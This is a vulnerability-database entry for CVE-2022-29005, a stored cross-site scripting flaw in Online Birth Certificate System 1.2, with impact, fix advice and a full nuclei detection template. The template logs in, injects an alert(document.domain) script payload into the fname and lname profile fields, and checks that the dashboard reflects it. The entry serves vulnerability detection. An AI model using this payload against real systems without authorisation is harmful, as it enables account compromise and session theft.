HexBrain

Browse / CVEs / CVE-2022-29005

CVE-2022-29005· phpgurukul / online birth certificate system· CWE-79

Online Birth Certificate System 1.2 - Stored Cross-Site Scripting

mediumseverity
6.1CVSS score
2.2%likelihood of exploitation, next 30 days
83%of all CVEs are less likely
Readycheck to confirm it

Online Birth Certificate System 1.2 contains multiple stored cross-site scripting vulnerabilities in the component /obcs/user/profile.php, which allows an attacker to execute arbitrary web script or HTML via a crafted payload injected into the fname or lname parameters.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the application, leading to potential data theft, session hijacking, or defacement of the website.

Fix

To remediate this issue, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.

How to confirm it

Send: POST /obcs/user/login.php ; POST /obcs/user/profile.php ; GET /obcs/user/dashboard.php
Positive when: contains(header_3, "text/html") and status_code_3 == 200 and contains(body_3, 'admin-name\">{{str}}<script>alert(document.domain);</script>')

Run it with nuclei: nuclei -id CVE-2022-29005 -u <target>

The full check
id: CVE-2022-29005

info:
  name: Online Birth Certificate System 1.2 - Stored Cross-Site Scripting
  author: TenBird
  severity: medium
  description: |
    Online Birth Certificate System 1.2 contains multiple stored cross-site scripting vulnerabilities in the component /obcs/user/profile.php, which allows an attacker to execute arbitrary web script or HTML via a crafted payload injected into the fname or lname parameters.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the application, leading to potential data theft, session hijacking, or defacement of the website.
  remediation: |
    To remediate this issue, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.
  reference:
    - https://github.com/sudoninja-noob/CVE-2022-29005/blob/main/CVE-2022-29005.txt
    - https://phpgurukul.com/online-birth-certificate-system-using-php-and-mysql/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-29005
    - http://online.com
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-29005
    cwe-id: CWE-79
    epss-score: 0.02178
    epss-percentile: 0.82493
    cpe: cpe:2.3:a:phpgurukul:online_birth_certificate_system:1.2:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: phpgurukul
    product: online_birth_certificate_system
  tags: cve,cve2022,xss,obcs,authenticated,phpgurukul,vuln
variables:
  str: "{{rand_base(6)}}"

http:
  - raw:
      - |
        POST /obcs/user/login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        mobno={{username}}&password={{password}}&login=
      - |
        POST /obcs/user/profile.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        fname={{str}}%3Cscript%3Ealert%28document.domain%29%3B%3C%2Fscript%3E&lname={{str}}%3Cscript%3Ealert%28document.domain%29%3B%3C%2Fscript%3E&add=New+Delhi+India+110001&submit=
      - |
        GET /obcs/user/dashboard.php HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2
    matchers:
      - type: dsl
        dsl:
          - 'contains(header_3, "text/html")'
          - 'status_code_3 == 200'
          - contains(body_3, 'admin-name\">{{str}}<script>alert(document.domain);</script>')
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from